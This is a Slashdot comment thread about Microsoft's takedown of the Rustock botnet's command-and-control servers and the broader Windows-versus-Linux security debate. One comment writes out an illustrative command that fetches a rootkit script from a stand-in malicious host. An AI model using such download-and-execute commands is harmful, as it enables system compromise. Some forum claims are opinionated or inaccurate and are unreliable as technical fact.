Re:Microsoft helps the internet

[Cederic]

Indeed. I disabled UAC minutes after installing, but have no issue with entering my password into Ubuntu when it asks me too.

One is proportionate and makes me think about what I'm doing, the other is switched off.

Re:Microsoft helps the internet

[CohibaVancouver]

A lot of the bots encrypt their communications, so the ISP will just see an SSL connection to a web server.

Aren't these pwned computer bots the ones actually sending the SPAM? Won't the ISP see email traffic?

Re:Microsoft helps the internet

[drinkypoo]

Luckily lots of nerds have interest in improving it.

Re:Microsoft helps the internet

[Terrasque]

Thank you for pointing out that you're clueless and can't be seen as a valid source of security information.

Now, if you were wondering what I'm talking about, there was a slashdot article on it some time ago and all, and you've been telling everyone how stupid those linux folks are, and so on?

Well, no distribution I know of have autorun. No, not even Ubuntu. What the article were talking about were a flaw in gnome's program for making image thumbnails (which he then put on an usb disk, which made bad things happen when he opened the disk and thumbs were created). He was also talking about a potential flaw in the code that handles new USB devices being plugged in (Like asking for usb id, type, and so on), and mounted (for example, flaws in file system code)

And now that you've gotten some actual info about it, I bet that you'll promptly forget it, because it does not fit in your narrow world view.

(and if I seem to be a bit too snarky, its been a crap week at work. And you were the lucky clueless one)

Re:Microsoft helps the internet

[DavidTC]

Two words: Software repositories.

All the software that people install should come either from a 'authorized' online place, or a CD.

People talk about the fact that Linux has very few viruses, but they don't look at why. It's because Linux users almost never download and install programs. They either install software from a package manager, or they add a repository that shows the software and then install from there. Linux users do not download and run untrusted software. That simply is not the paradigm for getting software on the system.

I'm sure everyone here is horrified at the suggestion that MS somehow be in control of the software on a computer....well, that's not my suggestion. I would suggest having the big names in software create some sort of non-profit whose sole purpose is to maintain an automated list of locations that people can safely install Windows software from.

Getting on the list should be pretty easy, but you should have to demonstrate who you actually are, either a company or a person, and, of course, provide malware and you'll be blacklisted, and, hell, arrested.

And that is now 'How you install software', and we have everyone fucking trained that "The way to install software is to go to 'Install software', select it, and install. Or click a link on a web page which brings up 'Install software' panel. (Like iTunes does.)"

That's how you train people not to run random programs, you have a different way for them to install legit software. They do not download and run it, and in fact they cannot download and run it. If they really want to do that, they have to the control panel, enable something, and then go into each executable's properties they want to run mark it back executable, and run it, which is a strange enough process that it should throw some warning flags. It's not a stupid prompt they can say 'Yes' to without reading.

Re:Microsoft helps the internet

[Riceballsan]

There is actually a pretty big difference in MS's security model vs linux and possibly macos. Now this issue has died down significantly in 7, but vista's horrible implimentation of UAC completely diluted the thought of it, and the mindset carried over greatly towards windows. I have little experience with macos so I won't use this in comparison. SUDO would prompt a user for a password when doing large dramatic system changes, IE installing programs etc... Vista's UAC would prompt when, running firefox, running most games, normal running of just about any program, it got people to the point where normal daily routines involved saying yes to UAC, and taught people not to question it just give it. A linux system in a house with say, 1 user with computer sense, and 3 users that don't know more then facebook tells them to do, that one smart user can keep admin privilages and not give them to the other 3, this would actually give a fully usable system to everyone as opposed to windows where most likely there will be one or more situations a day needing admin privilages.

Re:Microsoft helps the internet

[clodney]

I *do* blame Microsoft, they created their OS with so little security that the early versions didn't even HAVE limited users. This meant that for nearly a decade, software developers were accustomed to have god-like rights on the machine.

So you mean the problem is that way back in the day when DOS/Windows routinely ran on non-networked systems, prior to the Internet explosion, that MS did not anticipate the future and start proactively breaking existing programs to ensure that 15 years later things would be better?

Microsoft has been preaching this for years, but developers haven't listened. I worked on getting a program Windows logo certified back in 2001, and even back then to get the "Designed for Windows" logo on the box you had to function correctly as a standard user.

At the API level you can still do whatever you like, but Microsoft has been pushing least user access for at least a decade.

Re:Microsoft helps the internet

[KhabaLox]

Botnets can do a lot of things. The recent DDOS on WordPress was done using a botnet.

Like DarwinSurvivor said, I don't think it's a good idea for ISPs to be in the business of inspecting our packets and trying to determine if our machine(s) has been compromised. Too much could go wrong.

Re:Microsoft helps the internet

[_0xd0ad]

The problem is that all of the things of which you'd think "nothing would ever legitimately need to do this" turn out to indeed be things that some legitimate software needs to do.

Don't give them the option to click Yes to incredibly stupid things like "Run this program every time I start my computer, with no easy way to monitor it or stop it from loading" (the latest one I've seen is viruses that replace the user's shell value in the registry - somewhere not listed in startup lists - and then re-execute explorer).

...thus breaking antiviruses.

Or "Allow this program to spam the hell out of everyone with no controls on what they are doing on the Internet on SMTP ports and whatever it likes, as much as it likes, with no easy way of knowing what's accessing the Internet from my PC"

...thus breaking anything that actually needs to make zillions of internet connections on all sorts of ports, like to torrent that new Linux ISO.

Or "Allow this program to hide itself in the filesystem once it's loaded by overriding certain function hooks" - even if you ARE admin.

...thus again breaking antiviruses, which need to scan files before allowing the OS to access them, anything that installs hotkeys and needs to monitor the keyboard, anything that needs to open ports to listen such as games, instant messaging or file-sharing clients, etc.

Re:Microsoft helps the internet

[DaMattster]

I think this shows that Microsoft cares about the internet. It's not really Microsoft's problem, but they still help to solve it. Fact is, you cannot change stupid people and they will get their computers infected no matter what. Windows 7 is just as secure as Mac OSX or Linux, but it's the users what is the problem. Good job Microsoft, for taking care of the internet.

Anyone that believes that Microsoft did this out of pure altruism is naive. I am sorry to be so blunt but, according to the TFA, Microsoft was concerned about trademark infringement as many of the spam messages sent had Microsoft endorsement claims. Microsoft cares about its own image not being sullied - notice how it was Windows machines that were assimilated into the botnet. It just so happens that, at the same time, they did the world a favor. The article did not really come right out and say the servers were running Microsoft Windows Server. This concerns me because I don't like Microsoft playing cops and robbers. It would really torque me if they seized hardware running Linux. This is a very slippery slope to go down. Will Microsoft allege that I am doing something illegal when I am not and seize my Red Hat or OpenBSD box?

Re:Microsoft helps the internet

[TemporalBeing]

Windows 7 is just as secure as Mac OSX or Linux, but it's the users what is the problem.

Not quite true. Yes, Win7 has the potential to be just as secure; but the default security model put forth by Microsoft is no where near as secure as the default security model for Linux. Though, even the most secure Windows security models still have major flaws in them as there are design flaws in Windows itself - everything from the Win32 API to how MS decides applications should run - that are not otherwise corrected.

So yes, with WinXP SP3, Vista, and Win7 the network security has vastly improved - the default firewall is pretty secure and nearly on par with everyone else. But that hardly solves the issue when people are having problems due to bugs in the software - bugs the Microsoft won't fix usually until there is at least on known, working, and spreading exploit for them; until which Microsoft denies the existence of the bug.

Then you have the Microsoft's very broken patching methodology - a method which often patches in one fix, then undoes the patch in another; leading to cycles of the same bug being fixed. Not only does that speak of a bad patching methodology, but also to a lack of regression testing and QA throughout the entire development and maintenance cycle of their software. All of this leads to inferior security overall.

Re:Microsoft helps the internet

[Runaway1956]

Who really gives a small rat's ass how many people are pissed off? Think a moment. The people who will be most pissed, are the very people who click through all the warnings they are getting now. People who actually read and think about the warnings, not so much. So - the very same people who are the biggest cause of things like botnets are going to be pissed off. Whoopty-do. Here - have a rat's ass.

Re:Microsoft helps the internet

[DavidTC]

The difference is that a) you can't run downloaded programs by default without marking them executable, and b) Linux users don't install software that way, they use the software repositories

Which is what Windows needs. Stop having legitimate programs that you're supposed to download and double-click on to install, and on top of that require a specific permission change (not a prompt, make the user initiate it) before you can do that, and perhaps users will go 'Hey, wait, this isn't how I normally install software, maybe I shouldn't do this.'.

Re:Microsoft helps the internet

[DavidTC]

Do we know if the botnets were being used for spam, or other purposes? They might be 'attack' botnets.

Re:Microsoft helps the internet

[Oloryn]

Looks to me like it's an example of Bulverism in action.

Re:Microsoft helps the internet

[Bengie]

Virii are less like armed robbers and more like people who go around asking "Will you give me the keys to your house?", and then the home owner is surprised to come home to find everything is gone.

If someone willfully gives over the key to their house to someone they don't know, do you blame contractor who built the house for not adding more locks or do you blame the owner?

Re:Microsoft helps the internet

[Runaway1956]

"However, right now, Windows is the only OS that has rampant malware problems."

That is the bottom line. People will make excuses, explanations, rationalizations, etc ad nauseum - but that bottom line says it all.

Hypothetical conversation from ~1980:

"Willy, what if we made these computers so simple that any idiot can use one?"

"Bad idea, Gomer. If any idiot can use one, then all the idiots will want one. If only half the idiots manage to get one, that's more than enough to ruin computing for everyone."

"But, Willy, what could go wrong? We'll just write a fool-proof system, and provide fool-proof software for the system!"

"Gomer - you are living proof that you can't fool-proof ANYTHING! That pistol that you used to shoot your big toe off with had FOUR safeties that you had to defeat before you could shoot yourself. There's no such thing as fool-proof, Gomer."

Re:Microsoft helps the internet

[KingMotley]

i wouldn't be surprised to find that linux actually outnumbers windows quite considerably

WOW. Live in your own little make believe world do you?

Supercomputers - 80-90% running linux is still high, but seriously, it's easier to grab computing cycles from many desktop computers, turning them into a "supercomputer" with more computing power than all the top500 supercomputers combined than trying to infect one and keep it infected while you steal all those cpu cycles.
Linux servers get hacked all the time, but you would know that if you actually ran one. See: http://www.chkrootkit.org/
Phones get malware: http://mobile.slashdot.org/story/11/03/06/202208/Google-Finally-Uses-Remote-Kill-Switch-On-Malware?from=rss
Embedded Linux: Nope, not safe here either: http://www.mcafee.com/threat-intelligence/malware/default.aspx?id=154392

Re:Microsoft helps the internet

[CohibaVancouver]

I don't think it's a good idea for ISPs to be in the business of inspecting our packets and trying to determine if our machine(s) has been compromised

So if the ISPs can't / won't / shouldn't do anything, and the end user will click any old thing to get free screensavers / smileys / porn - How do you win?

Re:Microsoft helps the internet

[Runaway1956]

"back in the day when DOS/Windows routinely ran on non-networked systems"

That's a bit disingenous, don't you think? Which versions of DOS were written with the intention that it would only run on non-networked machines? That is, which versions of DOS didn't listen to ports, anticipating some sort of traffic? I know for certain that MSDOS 5 onward monitored a myriad of ports - probably all of the ~56,000 that exist today.

By the time that the various companies were writing DOS 3.1, people were routinely accessing bulletin boards. I'm not going to go searching for dates and references - you can if you're really interested. But, where on earth do you think all those baud modems came from? They certainly weren't invented after the advent of Windows! Win95 installs expecting to find a modem! Win3.11 expected to find a modem. Win3.1, not so much - but the capability was certainly there!

Re:Microsoft helps the internet

[icebraining]

Of course the bank robbers don't have anything to do with it.

Yes, because it must be one or the other. As with most issues, this too is completely black and white and since one side is to blame, we can't possibly criticize the other.

IRL, I take precautions. I don't walk through neighborhoods showing expensive phones or with lots of cash, I don't carry my wallet in an open pocket, I don't leave my car unlocked, etc. If I did, I would be careless.

The same is true with computers. Yes, criminals are the ones to blame, and we shouldn't need to take this precautions in the first place. But eliminating criminality is a pipe dream anywhere except in 1984, so it's stupid not to consider it.

Re:Microsoft helps the internet

[h4rm0ny]

So if the ISPs can't / won't / shouldn't do anything, and the end user will click any old thing to get free screensavers / smileys / porn - How do you win?

Raid datacentres and seize the command and control computers?

Re:Microsoft helps the internet

[Cheech Wizard]

This type of stuff is what is leading the revolutionary change to devices like the iPad. Few people need "real" computers any more.

Re:Microsoft helps the internet

[h4rm0ny]

In this case, according to the article, the botnet was a major source of spam. Doesn't mean that other uses couldn't have been made of it, but spam is what is referenced in a major way in this case.

Re:Microsoft helps the internet

[Cheech Wizard]

Yup - And there are Mac botnets everywhere, too! Not...

Re:Microsoft helps the internet

[Bengie]

All UAC did was prompt Yes/No. Linux Prompts for User/Pass. I don't see how Linux is easier.

UAC prompted when an application tried to change system settings. Seems lots of applications try to change system settings. I'm not sure how it is MS's fault so many apps wanted to mess with your start-up/drivers/system-hooks/etc.

Kind of like Bad Company2. When it first came out, UAC would break your ability to see your ping time. The issue is the devs decided to use raw sockets to calculate pings instead of just just using UDP or ICMP. Raw sockets require admin privs since you can see all data going in and out of the machine using them. Everyone blamed UAC for "breaking" this.

Re:Microsoft helps the internet

[monkyyy]

2 things

it is mircosofts problem, not completely their fault(id say 10-25% because how long the let ie 6 live) but they're target costumers are old people who dont know computers, as everyone else is already forced to use it(gamers and people w/ bad bosses) or some sort of fanboy

also who honestly knows how secure mac? they havnt been targeted very much, and linux has a advantage as its fragmented but then it could be as badly protected as using ie6 w/ no anti-virus on a unpatched system to paranoid fbi; based on disto

Re:Microsoft helps the internet

[FrozenFOXX]

How can you secure an OS against users who click "yes"?

Easy, install Vista!

Re:Microsoft helps the internet

[monkyyy]

if i saw a "tl;dr" button ID DEFINITELY READ IT
everyone who i know who doesnt know computers, also dont know what that means and would be confused and click no..... i hope

Re:Microsoft helps the internet

[monkyyy]

wait for the non-computer-raised generation dies out?

Re:Microsoft helps the internet

[greenzrx]

...

Anything which mentions 'running as admin' clearly exists in a post-XP universe, because otherwise there aren't other users, so is inherently poorly-designed. Unless it came out in that microscopic window where XP was first released and it was quickly and poorly updated, no, that's inexcusable.

...

post xp? haven't you whippersnappers ever heard of Windows NT? there were ordinary users & administrators there. now get off my lawn!

Re:Microsoft helps the internet

[clodney]

I am reasonably certain that MSDOS 5 did not have a TCP/IP stack built in, so I don't know how it could have been monitoring ports.

Windows for Workgroups 3.11 was the first version of DOS/Windows that I can recall that had any kind of native networking. I don't count modems as networking. Big difference between using hyperterminal to connect to a BBS and having an always on internet connection.

The security environment in those days was tremendously different. Even with WFW 3.11, while you could be on a network and communicating with other people in your area, those for the most part truly were LANS, with no connections to other networks.

Re:Microsoft helps the internet

[realityimpaired]

Their fault for choosing a default pass security model.

Also their fault for creating users as admin by default, and not giving users any kind of warning as to the dangers of running as an admin.

I'm not saying that they *should* backport UAC to XP, nor am I saying it makes actual economic sense for them to give you a free upgrade to Win7. But it should be technically feasible to change to a default deny security model. Even if they changed users to non-admin and gave them a button to upgrade to an admin account (after having them click through a statement about the dangers of running as an admin), it would be an improvement, and that wouldn't require rewriting the entire OS to implement.

MS bears responsibility for how craptastic the security in Windows XP is because in spite of 20+ years of experience proving that Default Deny was a better way of doing things (including almost a decade of experience in their own 9X system), they still chose to use a Default Pass security model in the OS. There is absolutely no technical reason that they couldn't have implemented better security: Win Vista and Win 7 are using the same kernel as XP, and there were other OS's available to consumers (BSD and Linux, among others) that did not run under a Default Pass at the time. Without even mentionning the way that user accounts worked in earlier iterations of NT (hint: in 3.51, 4, and 2k, user accounts defaulted to "user" and had to be configured as an administrator), it's clear that Microsoft made a conscious decision to implement shitty security in XP.

Re:Microsoft helps the internet

[X0563511]

Even ignoring the training... there's a large portion of users who just don't give a shit and wouldn't care anyway.

Re:Microsoft helps the internet

[tqk]

Jeebus, you gamers are weird!

Re:Microsoft helps the internet

[StillNeedMoreCoffee]

I never blame the owner for openly trusting. That is the way things should be. You like the poster I responded to seems to pass over that the person going around asking "will you give me the keys to your house" and robs you is blameless. You could make the same argument that if you did not lock the door to your garage, and someone goes in and steals your car, you are to blame for leaving the door unlocked, or to extend that towards the argument above, if you have a commercial lock on your garage and someone is able to pick it you are at fault for not having a deadbolt with laser cut keys, or further, if you did not have a motion detector hooked up to a security firm that notifies the police, you are at blame for your car stolen.

You are never at blame for your car stolen, even if you leave it on the street, door open, keys in the lock. If someone takes your car they are the thief and you are blameless. No one is ever blamless if they steal, under no mitigating circumstances. You are not at fault for someone stealing from you. Foolish maybe but never at fault, never.

When are you people going to stop putting the blame in the wrong place. Robbery and thieft are not like a rainstorm. They are not acts of God they are overt or covert acts of criminal behavior. That is the problem. Lets address that, and place the blame squarely where it belongs.

Re:Microsoft helps the internet

[StillNeedMoreCoffee]

I would counter with the idea that, of course there is such a thing as prudent behavior. There is also a thing like, walking into a new neighorhood that is more dangerous than you imagined, and the behavior you had in your own neighborhood is not prudent in this new place. Or what is the case with the internet, the gangs are coming into your neighborhood, with the zero day exploits and the landscape is suddenly changed and you aren't aware of it. Are you to blame if your ar mugged outside your own suburband house in a safe neighborhood. That is what we are seeing. The blame rests not with the victim.

I don't here you blaming the thiefs.

Re:Microsoft helps the internet

[Shompol]

I never stated that the OP was biased, although it is very obvious. Arguing against "Good job Microsoft, for taking care of the internet." would be futile -- it is an expression of emotion, not a statement. My point was that the OP is not being sincere, like an advertiser who does not care much about his ads being honest, as long as they pull the suckers in.

I also wanted the readers to know that lately there has been a pattern of "first posts", which have been heavily slanted pro-microsoft, like there is a PR person hired by Microsoft. Fortunately, just found some proof, so I don't have to look like a jack-ass: http://linux.slashdot.org/comments.pl?sid=2044296&cid=35537262

Re:Microsoft helps the internet

[Shompol]

"Bulverism is a logical fallacy in which, rather than proving that an argument is wrong, a person instead assumes it is wrong, and then goes on to explain why the other person held that argument."

Hmm.... tough one. You are kind of right. On the other hand, I was not trying to "prove that an argument is wrong", just wanted to point out that this was a paid advertisement, sponsored by Microsoft. "Microsoft is Great" -- how can I argue against this? Why would I want to?

And while we are on the subject, here's a link for you: http://developers.slashdot.org/comments.pl?sid=2042408&cid=35523144

Re:Microsoft helps the internet

[h4rm0ny]

Good for you. :)

BTW, did you RTFA?

Re:Microsoft helps the internet

[Culture20]

So you mean the problem is that way back in the day when DOS/Windows routinely ran on non-networked systems, prior to the Internet explosion, that MS did not anticipate the future and start proactively breaking existing programs to ensure that 15 years later things would be better?

No, I'm pretty sure he means that MS should have been making multi-user systems when they were non-networked. Would have been mighty helpful. In fact, even after they started using NT as the home-system base, they made administrator the default and obfuscated the fact that multiple users was a possibility by auto-logging-in the admin. Developers were used to coding for(on) systems where anyone who sat down could do anything.

Re:Microsoft helps the internet

[recoiledsnake]

Maybe you missed all the brouhaha over Vista and UAC from users and developers? Anyway, injecting security in XP piecemeal now is not a good solution at all since any changes will frustrate users as well as break programs, the real solution is to get people off XP, especially when they're due for a hardware upgrade anyway.

Re:Microsoft helps the internet

[LordLimecat]

Um, Windows has something similar; no downloaded executable content can be run until it is either marked "unblock", or the user confirms that they want to run it.

Trouble is, these exploits often enough dont just download an exe and run it; they launch already-present code to fetch more bits of the rootkit. For example, adobe flash exploit is executed; the exploit launches 'wget hxxp://nastysite.ru/rootkit.sh && chmod u+x ~/Downloads/rootkit.sh && rm -f ~/Downloads/rootkit.sh'.

Guess what: that "no-execute by default" isnt there to mitigate flash exploits, nor does it. Its there to prevent users from downloading binaries and running them willy-nilly, on the (probably correct) assumption that non-techie users should use Add/Remove or Synaptic 99% of the time.

Re:Microsoft helps the internet

[LordLimecat]

er, that exploit would probably be more successful if i had actually included the command to launch it, instead of chmoding and deleting it....

I wouldnt make a very good malware author, I suck at reviewing my work :(

Re:Microsoft helps the internet

[Sabalon]

AFAIK, no versions of DOS were written with TCP/IP. Version 3.1 had support for Microsoft Networks, and 4 or 5 ish you started to see some of the NDIS stuff. And lets not forget all the joyful NetBIOS stuff. However, it wasn't really until Winsock came out that there was any sort of TCP/IP support in MS products. Before that, there were a lot of shareware/freeware type implementations that you could use, with the packet driver interface becoming pretty popular. But all addon's.

DOS 3.1 and bulletin boards - if not earlier. And the only ports usually involved there were COM1, COM2, etc... not TCP/IP ports. Completely different beast and not related.

WfW was the first thing that MS had an addon for to do TCP/IP, and then Win95 shipped with it.

So yes, DOS and Windows up til 95 shipped without TCP/IP support, and din't monitor thie "myriad of ports" (65535 actually, and it's not like they are being created and added to - it's a 16bit unsigned int.

Why do I feel like I'm feeding trolls here?

Re:Microsoft helps the internet

[uninformedLuddite]

It's a first post sockpuppet

Re:Microsoft helps the internet

[Nagrom]

It doesn't help that development tools basically have to run as admin, (Because of OS restrictions that are entirely reasonable and kept developers from using really idiotic things like inventing their own 'shared memory' system.), but results in developers never actually testing under non-admin situations, or at least not until the end of development, where it's called a 'bug' and the 'fix' is to run it as admin.

This isn't really true at all of Visual Studio apart from using a few specific features. I have never needed to run it as administrator for C++ development apart from for initial setup of a couple of add-ins.

In fact, I don't recall using any application on either Vista or Windows 7 that didn't correctly function unless it was run as administrator. I think Incredibuild briefly required it for legacy reasons when Vista was first around but that was soon fixed when we complained. I wonder how widespread this really is.

Re:Microsoft helps the internet

[DarwinSurvivor]

I'm not saying it's not easy to do (detecting large amounts of SMTP traffic ALONE would cut spam by 90%). What I'm saying is that as soon as they START, every copyright-oriented company (RIAA, MPAA, etc) will start going "hey, while your filtering those packets..."

Re:Microsoft helps the internet

[icebraining]

My point is that the whole internet is a bad neighbor and you're walking through it the moment you connect your PC to it, and people should expect that; it's not exactly a well hidden secret.

Re:Microsoft helps the internet

[Transaction7]

"people like us, who would know how to spot a botnet." I live across the street from a university with a computer science department, and know some of their professors, and a couple of computer geniuses in the defense contract industry, and I don't know anybody who could "spot a botnet" or tell me how to "spot a botnet," be sure my computer wasn't infected with one, or do anything about it if it were. I wish somebody would post how, or a link to how, to defend effectively against such things and, while you're at it, against having your Email and other data hacked.

Re:Microsoft helps the internet

[Phoshi]

Well, noticing higher than average network traffic would be a good start.

Re:Microsoft helps the internet

[woodleonSD]

Friend, you live in an imaginary society, where everyone wishes everyone else 'Good morning' while going to the office, and at the office, braids flowers into each others' hair while sipping beer. IRL, you should lock your car door, you should read through a document before you sign it, and you should know what a program does before giving it the green signal to modify your computer.

Re:Microsoft helps the internet

[dwywit]

What you're doing - it's not working.

Re:Microsoft helps the internet

[Bengie]

What?

The thief is not blameless, but the thief is a variable that you can never get rid of. Arguing about the thief is a moot point.

MS is the person who builds the house and the security system, the owner is the person who paid for the house, and the thief is the person that is trying to break in. Current MS OSes are actually quiet secure. It is not an issue of the thief picking the lock, but of the owner willfully handing the thief the key to get in.

A long time ago, a person who put their hand in a blender got weeded out of the gene pool because they could not eat. Now days, society picks up the bill and floats that person for their ignorance.

Common sense is all that is needed to thwart 99% of virii/malware. Most current malware is about social engineering, not security flaws. The only way to stop malware is to remove control from the end user. Most end users are lazy and willfully ignorant.

My mom got her first computer ~2 years back(she's almost 50). She got lots of malware for the first few months, so I told her how people try to trick you into running the software and that's how it's getting on her machine. I told her, if you don't know what it is, don't install it. She hasn't had a single malware since my talk. She is almost completely computer illiterate, but she understands the social engineering part once I explained it.

Re:Microsoft helps the internet

[StillNeedMoreCoffee]

Still, you put blame on the victim. There is no getting around that. A bad neighborhood does not make the perpatrator blameless. You dis the victim not the one doing the stealing.

Re:Microsoft helps the internet

[StillNeedMoreCoffee]

On the contrary. The internet is a public place, just like the streets you live on. The PC's sold are sold to people to use to access that public place where they can meet and shop and be entertained and learn and find out information and communicate with family. And it was close to a safe place until fairly recently. It is how that place should be. The problem are the criminals and vandels that have have routes to pillage and steal and burn. They are the problem not the people trying to live part of their lives online.

Do you actually think that you everyone that gets into a car to drive on the road should know how an automatic transmission works or can change the brakes on their car, or know the physics of combustion. Ridiculous. The internet devices are as turnkey as an automobile. The trouble is the basic systems are written wrong and people of bad character take advantage.

Re:Microsoft helps the internet

[petermgreen]

It might very well hose up your profile, but it isn't going to take over the entire machine unless you actually allow it to.

"Hosing up your profile" includes stuff like modifying your menus and modifying the executable path your shell windows use.

And with those powers it's pretty easy to set things up so that the next time you use su, sudo, the root terminal menu entry or whatever other means you have of launching root processes the malware gets root too.

Private Corporations

[damicatz]

Since when do private corporations get to conduct raids and other police actions?

Re:Private Corporations

[maxume]

What they do is they cooperate with federal agents.

There is plenty of room for that to be improper, but there is also lots of room for it to be like the federal agents are using the Microsoft people as consultants.

Re:Private Corporations

[damicatz]

Cooperating on the sidelines is one thing but it is improper to have Microsoft employees actively participating in the execution of a warrant. The proper thing to do would be to have the federal agents seize the computers and then hand them over to Microsoft. The last thing this country needs is for corporations to be given police powers.

Re:Private Corporations

[andrea.sartori]

According to TFA, "Microsoft launched the raids as part of a civil lawsuit", "U.S. marshals accompanied employees of Microsoft's digital crimes unit", and "Microsoft officials brought with them a federal court order granting them permission to seize computers". I'm afraid this doesn't really answer your question, but it looks like it's suggesting that a) the computers were actually seized by the feds, and b) TFA is copypasta from a Microsoft press release.

Re:Private Corporations

[Dunbal]

You missed the "in co-operation with federal agents" part, huh?

Re:Private Corporations

[damicatz]

That still doesn't give corporations the constitutional authority to conduct their own raids. If they wish to file a civil action against the EULA violation, that is one thing. And then they can get a court order to seize the computers for their own discovery process. The enforcement of the court order, however, should be carried about by law enforcement officials, not by a private security force. After the law enforcement officials seize the computers pursuant to the court order, they can then turn them over for discovery.

Re:Private Corporations

[Anonymous Coward]

I've done this (gone on a "hacker" bust with the Secret Service). At that time, the feds would serve the warrant, do a lot of documentation (videos, photos, etc.). and the technical consultant would take apart the hardware (under supervision of agents) and do forensics.

It's not like MIcrosoft would bust in doors. Educated guess: They're providing technical know-how that the feds lack.

Re:Private Corporations

[maxume]

I'd rather have the Microsoft people participating in a raid led by a federal agent than I would have the federal people turn the computers directly over to Microsoft after seizing them.

Re:Private Corporations

[mikael_j]

I'll admit that I haven't read TFA but I don't see any problem with MS (or other companies' employees for that matter) joining the police in the raid to make sure it doesn't turn out like the raid against TPB here in Sweden (where the cops basically raided the datacenter and took pretty much every machine they found, turned out that the vast majority of those machines weren't related to TPB and were in fact owned or rented by various businesses who were not all that happy about the cops being unable to just grab the machines they were looking for).

Re:Private Corporations

[Quantus347]

Since Microsoft people are the ones with the knowledge and resources to make the raid actually successful and a US Marshall realized they didn't. Hence the cooperation.

It's not a kick the door down and handcuff the drug-dealers sort of raid. Its a highly technical and fragile situation; the slightest misunderstood keystroke, unplugged wire etc. could destroy all the evidence they hoped to gather. If you were conducting a raid on a warehouse making bio-weapons instead of cyber-weapons, would you rather have the world leader in Bioengineering making the decisions, or whatever agent they can find that had a minor in that before going into law enforcement.

Despite that, I imagine it was the US Marshals waving the warrants around and not the Microsoft employees, as the article makes it sound.

Re:Private Corporations

[cpu6502]

- "Microsoft officials brought with them a federal court order granting them permission to seize computers"

Sounds like corporatism to me. A hundred years ago in a small country called Italy, it was called a different word, starting with "F".

Re:Private Corporations

[trollertron3000]

That all started back in 1997 when slashdotters stopped reading the fucking articles.

Re:Private Corporations

[h4rm0ny]

And no one dare give any of the "It's MY PC, I will use it however I choose!" bullshit. The EULA CLEARLY states the contrary.

Are you serious? EULA's don't contradict the laws of the land. If I break the terms of a EULA, then the company can go to the courts to seek redress, but they'd better not try kicking down my door and coming after my computer. In this instance, it's probably a red herring because the Feds probably needed Microsoft's assistance and it was at the Fed's invitation. But your proposal that EULA violations should empower corporations with Super Viglante Powers of Justice is either silly or scary depending on whether anyone else agrees with you.

Re:Private Corporations

[Artifakt]

There are certainly circumstances where a non law enforcement person is an active part of serving a warrant, and should be. For example, a chemical or explosives expert going along to identify unknown substances in a drug lab or suspected bomb factory raid. I could see a Microsoft employee going along just to identify what machines were capable of running the bot and what peripherals might be capable of storing a copy, so the law enforcement agents didn't seize any business equipment that couldn't possibly support the bot. Lessening damage to the people whose assets were seized is an appropriate civilian role. (although not necessarily the role Microsoft employees played). The real thing needed here isn't a concrete barrier preventing all civilian involvement but a good way for the general public to verify that the involvement didn't violate anyone's civil rights (or secondarily to rights issues, waste taxpayer money helping enforce something that really should be a civil matter).
        With this said, I keep wondering why companies are so willing to cooperate and link themselves with law enforcement. The average citizen can and will argue over whether a company has become merely an arm of the police state, whether there are still limits and safeguards, but just picture what a bunch of real nutcase terrorists would decide. To the extreme radicals, a company that cooperates enough with the FBI or DEA becomes merely another arm of the octopus they want to destroy. And once the fringe group takes that position, they are left with the interesting problem - do they physically attack a bunch of armed federal employees who are well trained in the use of force or do they attack an arm which is much softer and more vulnerable to physical violence? Why would an ISP, for example, cooperate uncritically with the CIA, when anybody wanting 'retribution' can then target them a lot easier than their 'government masters'? For companies especially, if you're going to get involved in armed disputes with nutcases, you might want to think about how the surviving nutcases will react.

Re:Private Corporations

[tist]

Like this (From the Article): "The Microsoft officials brought with them a federal court order granting them permission to seize computers" That wasn't too hard to figure out now was it?

Re:Private Corporations

[somersault]

*chair flies through the front door*

Ohshit it's STEVE!! Run, everyone! We just have to get outside - he'll get out of breath after 20 metres of monkey skipping!

Re:Private Corporations

[JustOK]

MS wouldn't bust down doors. It's too easy to get in thru teh windowz

Re:Private Corporations

[Megane]

When the spammers offer to sell counterfeit copies of Microsoft software? It's not all V!@gr0 spam, you know. Now if only Pfizer would care enough to go after spammers wholesale like that.

Re:Private Corporations

[somersault]

SHHHHHHHHHHHHHH!! Hey Microsoft, keep up the good work, I look forward to you further aggravating terro.. uh, saving the world!

Re:Private Corporations

[iiiears]

Windows is licensed to one user and one machine. - They are reclaiming their license. /troll

Re:Private Corporations

[Blakey Rat]

Microsoft is probably just providing technical assistants to the Feds doing the raid, and the article and Slashdot summary are very poorly-written. Would be my guess.

Re:Private Corporations

[SnarfQuest]

Are the police not allowed to hire consultants when working on a case where they do not have sufficient knowledge or equipment to handle it? So, under your belief, if the police find an active meth lab, and they do not have the training or equipment to make the area safe, they should just walk away from it, leaving it boiling away, instead of hiring someone who can safely clean it up?

Re:Private Corporations

[Geminii]

I'm fairly sure the government has one or two people who know something about cyberwarfare and programming. The way this is presented, it sounds more like the Feds raiding a racetrack alongside one particular engine manufacturer purely because engines from that company put out a lot of smoke.

Ummm

[Dunbal]

I mean ok, I appreciate the effort and it makes sense to go after the control machines. But if a huge number of compromised machines are still out in the wild as dormant zombies, all it takes is for someone to find out how to reactivate them and we're back to square one.

Re:Ummm

[ErroneousBee]

Oh, you don't have to worry about that. Microsoft have definitely cleaned up all the possible botnet controllers to be found in the US.

Re:Ummm

[Em Adespoton]

It's actually even worse than this... you'll notice that MS and the authorities shut down rustock C&C servers across the USA.

Think about that for a second.

Rustock... do you think it is controlled exclusively from the US? I predict the low volume of spam out of this botnet will last a day or so, after which things will ramp back up to regular volumes after the operators have removed references to the US C&C servers from the rest of the botnet. Within a month, there will be new C&C servers set up across the US that will have entered the fold.

Re:Ummm

[mxs]

I mean ok, I appreciate the effort and it makes sense to go after the control machines. But if a huge number of compromised machines are still out in the wild as dormant zombies, all it takes is for someone to find out how to reactivate them and we're back to square one.

I'd be somewhat surprised if MS got /all/ the C&C hosts for this botnet. It would be surprising if they were all situated within the US, for one thing.

Maybe they did enough research to effectively cripple the botnet for now, anyway. But I would not be surprised if the botnet is doing just fine and new redundant C&Cs are being set up as we speak.

Re:Who "entered" the facilities?

[dreemernj]

From TFA:

As part of that dragnet, U.S. marshals accompanied employees of Microsoft's digital crimes unit into Internet hosting facilities in Kansas City, Mo.; Scranton, Pa; Denver; Dallas; Chicago; Seattle and Columbus, Ohio. The Microsoft officials brought with them a federal court order granting them permission to seize computers within the facilities alleged to be "command-and-control" machines, through which the operators of the Rustock botnet broadcast instructions to their army of infected computers, estimated by Microsoft at more than one million machines world-wide.

Re:Who "entered" the facilities?

[Attila Dimedici]

